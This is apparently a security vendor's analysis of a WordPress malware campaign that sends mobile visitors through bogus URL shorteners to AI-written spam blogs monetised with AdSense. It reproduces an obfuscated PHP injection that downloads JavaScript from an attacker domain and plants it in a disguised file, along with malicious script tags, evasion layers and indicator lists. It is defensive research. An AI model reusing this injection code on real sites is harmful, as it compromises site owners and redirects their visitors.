Bogus URL Shorteners Go Mobile-Only in AdSense Fraud Campaign

Bogus URL Shorteners Go Mobile-Only in AdSense fraud campaign

Since September 2022, our team has been tracking a bogus URL shortener redirect campaign that started with just a single domain: ois[.]is. By the beginning of 2023, this malware campaign had expanded to over a hundred domain names to redirect traffic to low quality Q&A sites and monetize traffic via Google AdSense. In fact, since the beginning of this year alone, Sucuri’s remote website scanner has detected various strains of this malware on over 24,000 websites.

During a recent analysis, one of our security analysts Puja Srivastava provided details on some new variants for this malware campaign. So, let’s take a look at some examples of this malware, highlight some recent changes seen in these latest variants, and identify how the attacker’s code has evolved to target mobile users.

Contents:

Spring 2023 variant: Script tags pointing to 90+ short domains

Since Ben Martin’s last post in February 2023, the malware injections have seen a few noticeable changes. In the spring of 2023, attackers had started using script tags pointing to external scripts hosted on their short domains instead of directly injecting obfuscated JavaScript code.

<script src="https://tiny-url[.]mobi/oGd0j1" type="text/javascript"></script>

As seen in the data in our latest SiteCheck Report, our external malware scanner has detected these scripts from 93 various bogus URL shortener domains on a total of 6,105 websites since the beginning of 2023.

May 2023 variant: style.wp.includes.js and style.public.html.js

In late May 2023, attackers switched to creating malicious .js files like /wp-includes/style.wp.includes.js ,/wp-includes/jquery.wp.includes.js, and /style.public.html.js and including them into WordPress pages via injections at the bottom of wp-config.php and themes’ functions.php files.

(The naming pattern is <directory_name>/jquery.<directory.name>.js or <directory_name>/style.<directory.name>.js)

<?php goto G9xot; fNgz9: @ini_set('display_errors', 0); goto UX88j; UX88j: if (!file_exists('/home/[redacted]]/public_html/[redacted].com/wp-includes /style.wp.includes .js') || trim(file_get_contents('/home/[redacted]]/public_html/[redacted].com/wp-includes /style.wp.includes .js')) == '' || date('d', filectime('/home/[redacted]]/public_html/[redacted].com/wp-includes /style.wp.includes .js')) != date('d')) { goto J_pAO; q4dp9: if (trim($L8FCt) == '') { goto cpX0x; fIPT2: curl_setopt($KnM8r, CURLOPT_HEADER, false); goto X9ule; u2fQC: curl_close($KnM8r); goto dRyB9; cpX0x: $KnM8r = curl_init(); goto YGWWC; RBvGy: curl_setopt($KnM8r, CURLOPT_USERAGENT, 'Mozilla/5.0 AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Mobile/15E148 Safari/604.1'); goto SbYiE; X9ule: $L8FCt = curl_exec($KnM8r); goto u2fQC; YGWWC: curl_setopt($KnM8r, CURLOPT_URL, $FaE9J); goto UpuVP; BAl7S: curl_setopt($KnM8r, CURLOPT_RETURNTRANSFER, TRUE); goto fIPT2; UpuVP: curl_setopt($KnM8r, CURLOPT_TIMEOUT, 10); goto RBvGy; SbYiE: curl_setopt($KnM8r, CURLOPT_FOLLOWLOCATION, TRUE); goto BAl7S; dRyB9: } goto WLh6l; WLh6l: if (trim($L8FCt) != '') { file_put_contents('/home/[redacted]]/public_html/[redacted].com/wp-includes /style.wp.includes .js', $L8FCt); } goto b3kPn; J_pAO: $FaE9J = 'https://s-sh[.]sh/sod0j4'; goto k9lvC; k9lvC: $L8FCt = file_get_contents($FaE9J, false, stream_context_create(array("http" => array("method" => "GET", "header" => "User-Agent: Mozilla/5.0 AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Mobile/15E148 Safari/604.1\r\n")))); goto q4dp9; b3kPn: } goto NlXK8; xIGE2: @ini_set('error_log', NULL); goto sESme; G9xot: error_reporting(0); goto xIGE2; sESme: @ini_set('log_errors', 0); goto fNgz9; NlXK8: if (is_numeric(strpos(strtolower($_SERVER["HTTP_USER_AGENT"]), "mobile")) && strtolower($_SERVER["HTTP_USER_AGENT"]) != "mobile") { echo '<script src="/wp-includes /style.wp.includes .js?ver=3.4.0" type="text/javascript"></script>'; } ?>

In this recent version of the malicious code, we started encountering a special check for mobile browsers:

if (is_numeric(strpos(strtolower($_SERVER["HTTP_USER_AGENT"]), "mobile")) && strtolower($_SERVER["HTTP_USER_AGENT"]) != "mobile") {...

This variation was pretty short-lived. We only detected it on a bit over 100 infected sites.

June 2023 variant: Obfuscation + mobile detection

By the end of June 2023, the injections had changed again. Instead of tags linking to local or external scripts, the bad actors returned to long obfuscated scripts injected directly into web pages or legitimate .js files. This time it was obfuscator.io-style scripts beginning with function _0x9e23(_0x14f71d,_0x4c0b72){ .

This strain of malware turned out to be very successful. During the period of July-August 2023 our SiteCheck scanner has detected it on over 11,000 compromised websites, labeling it as “redirect?location.8.8”.

JavaScript malware injection that redirects via bogus URL shorteners

This particular variant can be most commonly found injected into WordPress pages, posts, testimonials, or even comments. Here’s an image of a testimonial page where the malicious script is present:

Testimonial page where malicious script is found redirecting via bogus URL shorteners

When inspecting your website files and database, the injected scripts will look a little something like this:

Example of an injected script in the database containing multiple bogus URL shorteners

As previously seen in earlier variants, the scripts contain multiple bogus URL shorteners – for example, in the screenshot above you might be able to spot the following shortlinks:

  • hxxps://b-id[.]bid/zaj9c0
  • hxxps://b-id[.]bid/uiB8c4
  • hxxps://b-id[.]bid/KwL5c2
  • etc..

Although, you can find a combination of any of their 100+ domains on different infected sites.

The most noticeable change is the big chunk of code to check visitors’ browsers against a list of known mobile user agent strings.

We can only speculate why the attackers shifted from redirecting any visitors to only accepting mobile browsers. Our guess is this way they try to draw less attention to their landing pages, making them invisible to various bots and security tools that don’t use mobile user agents.

This makes the most sense, since after our previous post all their Google AdSense accounts were disabled — so, this time spammers created new accounts and made extra steps to protect them.

Defensive layers

Let’s take a look at the current layers of defense bad actors are using to protect their Google AdSense accounts from unwanted visitors (bots, security tools, and researchers).

Layer 1 – JavaScript execution

If the browser or tool being used doesn’t execute scripts, the malware will not execute the redirect.

Layer 2 – Mobile user agents

If the browser or tool being used executes JavaScript but can’t be identified as a mobile user agent, the malware will not execute the redirect.

Layer 3 – User interaction

Even if the browser or tool executes JavaScript and can be identified as a mobile user agent, the malware still won’t redirect anywhere unless the user (or the tool) clicks anywhere on the web page. This is because the malicious code is executed as a document’s onclick event handler: document.addEventListener(“click”, onclick_function);

Layer 4 – Server-side user agent check

Imagine you’ve extracted some short redirect URLs from the malicious code and want to manually check them.

If your request doesn’t contain a known mobile user agent header, the response will be 404 Not Found. For example, here’s a full response for the hxxps://r-o[.]pro/Vpa9c2 URL.

HTTP/1.1 404 Not Found
Cache-Control: no-cache, no-store, must-revalidate
Connection: keep-alive
Content-Encoding: gzip
Content-Security-Policy: upgrade-insecure-requests;
Content-Type: text/html; charset=UTF-8
Date: Tue, 29 Aug 2023 20:13:35 GMT
Expires: 0
Keep-Alive: timeout=60
Pragma: no-cache
Server: ddos-guard
Set-Cookie: __ddg1_=[redacted]; Domain=.r-o.pro; HttpOnly; Path=/; Expires=Wed, 28-Aug-2024 20:13:35 GMT
Transfer-Encoding: chunked
Vary: Accept-Encoding

However, if you add a mobile browser user agent header, you’ll get redirected to one of their intermediary sites using their bogus URL shortener domains.

HTTP/1.1 302 Found
Cache-Control: no-cache, no-store, must-revalidate
Connection: keep-alive
Content-Encoding: gzip
Content-Security-Policy: upgrade-insecure-requests;
Content-Type: text/html; charset=UTF-8
Date: Tue, 29 Aug 2023 20:13:37 GMT
Expires: 0
Keep-Alive: timeout=60
Location: https://g16g[.]t-e[.]site
Pragma: no-cache
Server: ddos-guard
Set-Cookie: __ddg1_=[redacted]; Domain=.r-o.pro; HttpOnly; Path=/; Expires=Wed, 28-Aug-2024 20:13:37 GMT
Transfer-Encoding: chunked
Vary: Accept-Encoding

In this case, the redirect goes to hxxps://g16g[.]t-e[.]site.

But if you request this new URL without a mobile user agent header, you’ll get another 404 response.

HTTP/1.1 404 Not Found
Cache-Control: no-cache, no-store, must-revalidate
Connection: keep-alive
Content-Length: 0
Content-Security-Policy: upgrade-insecure-requests;
Content-Type: text/html; charset=UTF-8
Date: Tue, 29 Aug 2023 20:14:04 GMT
Expires: 0
Keep-Alive: timeout=60
Pragma: no-cache
Server: ddos-guard
Set-Cookie: __ddg1_=[redacted]; Domain=.t-e.site; HttpOnly; Path=/; Expires=Wed, 28-Aug-2024 20:14:04 GMT

But this same URL requested by a mobile user agent will return the following:

Returned result for mobile user agent from bogus URL shortener

Black hat SEO scheme: emulating Google search clicks

As it turns out, this malicious code is a pretty interesting interstitial page that tells a lot about the black hat SEO scheme behind this bogus URL shorteners campaign.

First of all, like in previous iterations of this campaign that we wrote about, the malware uses Google search result links to redirect to the actual landing page.

In the example above:

hxxps://www.google[.]com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjuyr76w4CBAxUCgP0HHT4SAR04KBAWegQIFBAB&url=https%3A%2F%2Fblockcrypto.g16g[.]com%2F668%2Fus-senator-says-the-sec-wants-broad-authority-over-the-crypto-sector.html&usg=AOvVaw3zN7R4qVMYvUKdkvdSauXb&opi=89978449 

Redirects to -> hxxps://blockcrypto.g16g[.]com/668/us-senator-says-the-sec-wants-broad-authority-over-the-crypto-sector.html

This trick is supposed to make Google think that someone clicked on the real search result — and therefore can be used as a signal to Google that users like that search result. If Google gets an increase in clicks for this particular link, it may consider increasing its rankings.

What’s even more interesting about this current iteration is that the interstitial page tries to emulate behavior of a real web searcher.

Let’s take a closer look at the HTML code of the page.

At the very top we see a couple of scripts loading something from Google:

<script src="https://www.google[.]com/search?client=firefox-b-d&q=US+Senator+Says+The+SEC+Needs+Broad"></script>

<script src="https://www.google[.]com/search?client=firefox-b-d&q=US+Senator+Says+The+SEC+Needs+Broad+Authority+Over+The+Crypto+Sector"></script>

These are not real scripts. The bad actors use the <script> tag to emulate Google search requests from a Firefox browser.

In this particular example, we have two consecutive queries:

  1. [US Senator Says The SEC Needs Broad]
  2. [US Senator Says The SEC Needs Broad Authority Over The Crypto Sector]

Immediately afterwards, we can see a script that pauses the execution for 1 second followed by another fake <script> querying Google for [“US Senator Says The SEC Needs Broad Authority Over The Crypto Sector”]. The page then waits for another 1.5 seconds and initiates a redirect that emulates a click on Google search result.

This sequence of “searches”, pauses, and “clicks” tries to mimic a real user search behavior.

In case the scripts on the page don’t properly work, there is a pure HTML fallback implemented as a <meta http-equiv=”refresh” redirect that takes place 3 seconds after the page loading.

Probably, to make things even more plausible, the bad actors added this HTTP header to their server response

Referer: https://www.google.com/

Not sure if it helps, since the Referer is an HTTP request header — not a response header.

Landing page content completed by WP Automatic WordPress OpenAI GPT plugin

The final part of this SEO scheme is the content that Google should crawl in the first place so that hackers can obtain a valid Google search result link for it.

All the pages on the blogs that they redirect to appear to contain unique content and haven’t been scraped from third-party sites. The quality isn’t even that bad — it’s clearly not a mindless auto-generated keyword-rich gibberish.

The answer for this comes with the analysis of the HTML code of the landing pages. Spammers use the premium WP Automatic WordPress plugin that can generate content using the OpenAI GPT. With the help of this plugin, the spammers only need to provide a topic and artificial intelligence will generate as many posts as they need.

At this point all the spam blogs used in this campaign are relatively well indexed and range from 100 to 3000 indexed pages on each of them.

Layer 5 – reCaptcha and mobile device detection

The last layer of protection for the attackers’ Google AdSense accounts is the use of the Ad Inserter WordPress plugin that helps them accurately detect mobile traffic (not just simple user agent checks) and use of reCaptcha v3 score check to hide ads from “invalid traffic” (in our case from different bots and scanners).

Basically, if the visitor doesn’t use a mobile browser or fails the reCatcha automatic test, no ads will be displayed. Moreover, no sign of Google Ads will be found in the HTML code of web pages (and by the way, right-clicks and the “View Page Source” options are disabled on these blogs).

Nonetheless, the ad code can be obtained if you know how the Ad Inserter plugin works. They are hidden in base64 encoded data-code parameters of <div> tags.

Ad code hidden in base64 encoded data-code parameters of <div> tags

After 3 rounds of decoding, we get the actual ad block and the Google AdSense ID: ca-pub-8851912897114057.

decoded ad block and the Google AdSense ID: ca-pub-8851912897114057

If all the conditions are met, the pages get three prominent AdSense banners — one of which occupies a substantial part of the initial screen above the actual page contents, as seen below.

Example of Google ads on blockcrypto.g16g[.]com
Example of Google ads on blockcrypto.g16g[.]com

Campaign infrastructure

At this moment the redirects occur via a few short domains. Spammers are using distinct subdomains for each spam blogs.

Here is a list of redirecting domains and subdomains, corresponding spam blogs, and the Google AdSense ID used on these blogs:

  • yutrnd.w-a[.]wang -> news.yutrnd[.]com -> ca-pub-2240281574525215
  • g16g.t-e[.]site -> blockcrypto.g16g[.]com -> ca-pub-8851912897114057
  • kora.a-a[.]asia -> live.koranews[.]online -> ca-pub-5578157204715463
  • jmo.w-a[.]wang -> en.jmoanews[.]com -> ca-pub-8860985160313118
  • maxkora.w-a[.]wang -> maxkora[.]com -> ca-pub-8157075918239991
  • toyori.a-a[.]asia -> en.toyorimix[.]com -> ca-pub-9213903473290312
  • l3b7.w-a[.]wang -> news.l3b7[.]com -> ca-pub-3676252633334277
  • crhalal.t-e[.]site -> crypto.cr-halal[.]com -> ca-pub-2834529483879759
  • jobsp.a-a[.]asia -> en.jopspalestine[.]com -> ca-pub-1736415149298832
  • wallstfolly.t-e[.]site -> blog.wallstfolly[.]com -> ca-pub-8045597277527556
  • 11g11.w-i[.]win -> today.11g11[.]com -> ca-pub-4641705703950585
  • akhbarn.c-u.icu -> news.akhbarn[.]com -> ca-pub-1360885847281608

Short domains

All of these short domains use free Let’s Encrypt certificates. To make certificate management easier, spammer have been reusing the same certificates for multiple domains. This helps us enumerate active domain names.

For example, this is what we saw last month if we requested the “X509v3 Subject Alternative Name” section of the w-a.wang’s certificate:

➜ echo | openssl s_client -showcerts -servername w-a.wang -connect w-a.wang:443 2>/dev/null | openssl x509 -inform pem -noout -ext subjectAltName

X509v3 Subject Alternative Name:
DNS:a-a.asia, DNS:c-h.tech, DNS:c-u.icu, DNS:i-me.link, DNS:m-e.cyou, DNS:mail.i-me.link, DNS:mail.m-e.cyou, DNS:mail.o-n.one, DNS:mail.p-c.pics, DNS:mail.u-u.today, DNS:o-n.one, DNS:p-c.pics, DNS:t-e.site, DNS:u-u.today, DNS:w-a.wang, DNS:w-i.win, DNS:www.i-me.link, DNS:www.m-e.cyou, DNS:www.o-n.one, DNS:www.p-c.pics, DNS:www.u-u.today

Additional insights we can get from the certificates of these bogus URL shortener domains include:

➜ echo | openssl s_client -showcerts -servername t-o.to -connect t-o.to:443 2>/dev/null | openssl x509 -inform pem -noout -ext subjectAltName

X509v3 Subject Alternative Name:
DNS:7za.co.za, DNS:gov.co.ve, DNS:mail.b-i-t-l-y.co, DNS:mail.b-i-t-l-y.net, DNS:mail.bit-ly.mobi, DNS:mail.bitly.email, DNS:mail.bitly.team, DNS:mail.cutlinks.biz, DNS:mail.cutlinks.ca, DNS:mail.cutlinks.org, DNS:mail.cuturls.net, DNS:mail.e-il.email, DNS:mail.files-uploader.com, DNS:mail.gov-cn.cloud, DNS:mail.h-air.hair, DNS:mail.i-n-fo.info, DNS:mail.l-in.link, DNS:mail.oo.coffee, DNS:mail.sh-op.shop, DNS:mail.t-o.today, DNS:mail.tiny-url.mobi, DNS:mail.uia.company, DNS:www.gov.co.ve

➜ echo | openssl s_client -showcerts -servername r-o.pro -connect r-o.pro:443 2>/dev/null | openssl x509 -inform pem -noout -ext subjectAltName

X509v3 Subject Alternative Name:
DNS:c-o.life, DNS:cpanel.c-o.life, DNS:cpcalendars.c-o.life, DNS:cpcontacts.c-o.life, DNS:da-y.today, DNS:f-u.fun, DNS:ki-ki.link, DNS:lin-ux.com, DNS:lin-ux.net, DNS:mail.c-o.life, DNS:mail.da-y.today, DNS:mail.f-u.fun, DNS:mail.ki-ki.link, DNS:mail.lin-ux.com, DNS:mail.lin-ux.net, DNS:mail.n-o.online, DNS:mail.pa-y.company, DNS:mail.r-o.pro, DNS:mail.t-o.asia, DNS:mail.u-u.icu, DNS:mail.xo-xo.info, DNS:n-o.online, DNS:pa-y.company, DNS:r-o.pro, DNS:t-o.asia, DNS:u-u.icu, DNS:webdisk.c-o.life, DNS:webmail.c-o.life, DNS:www.c-o.life, DNS:www.da-y.today, DNS:www.f-u.fun, DNS:www.ki-ki.link, DNS:www.lin-ux.com, DNS:www.lin-ux.net, DNS:www.n-o.online, DNS:www.pa-y.company, DNS:www.r-o.pro, DNS:www.t-o.asia, DNS:www.u-u.icu, DNS:www.xo-xo.info, DNS:xo-xo.info

Many old domains are still reusing one of these certificates, which results in a SSL_ERROR_BAD_CERT_DOMAIN error whenever the malware redirects. For example, here’s a Firefox warning for the older s-i.si domain.

SSL_ERROR_BAD_CERT_DOMAIN error occurs whenever the malware redirects

Certificate management for their fleet of 100+ domains is definitely tricky and an ongoing battle. Relatively newer domains such as l-in.link (registered on May 30, 2023) didn’t have a correct certificate and showed this potential security risk warning until the beginning of September, when spammers fixed their SSL certificate glitch.

After fixing the glitch all domains started using individual SSl certificates that only allowed “www.” subdomain as an alternative name. Even older domains like isn[.]is that were originally introduced in late 2022, now have updated certificates (valid since Sept 3, 2023).

All these short domains are protected by the DDos-Guard service and point to their IPs: 190.115.20.195, 190.115.26.9 and 190.115.29.7. The spammy blog servers are also hidden behind the CloudFlare firewall.

Mitigation steps to protect your website

Evident from our investigations around these bogus URL campaigns, these new variants have evolved rapidly within a short timespan, adapting to new methods of masking malicious intent and targeting increasingly specific user demographics.

As the campaign has grown to target mobile-only users, it’s clear that hackers are becoming more sophisticated with intent to evade detection. Leveraging a multi-layered defense system, spammers are demonstrating an ability to bypass common web security checks, be it through JavaScript execution, user interaction, server-side user agent checks, or even reCaptcha and mobile device detection.

While the whole process is entangled with black hat SEO schemes and complex campaign infrastructure, the gist of the matter is clear: watching out for malware infections is increasingly crucial, especially in the context of mobile browsing.

As a website owner or developer, it’s important not to let your guard down. There are a number of steps you can take to protect your website from malicious injections and unwanted spam redirect campaigns, including:

  1. Regularly patch and update your software, CMS, plugins, and themes: Always keep website software and components updated with the latest security patches. Hackers have access to automated tools that make quick work of security flaws and vulnerabilities in outdated software.
  2. Use strong and unique passwords for all of your accounts: This is a simple and often overlooked step. Make use of strong, secure, and unique passwords for all of your accounts including sFTP, database, and admin credentials. This will help reduce the risk of brute force attacks.
  3. Restrict access to login and admin pages: Another useful and important step to preventing brute force and automated attacks is to limit access to your sensitive login pages. For example, enable 2FA and password or IP protect /wp-admin/ to mitigate risk. This can be accomplished with various plugins or the Sucuri website firewall.
  4. Scan for malware: Regularly scan your website for malicious code, blocklisting, and errors to catch issues and early indicators of compromise.
  5. Install a web application firewall: You can leverage a firewall to stop bad actors, protect from bad bots, and virtually patch known vulnerabilities.

If you have already been impacted by this infection, you can follow our how to clean a hacked website guide for step-by-step instructions. And make sure to change all access point passwords, including admin credentials, FTP accounts, cPanel, and hosting.

Need help with an infected website?

We’re here to help! Our security analysts are available 24/7 to help you quickly clean up website malware and get rid of tough infections.

You May Also Like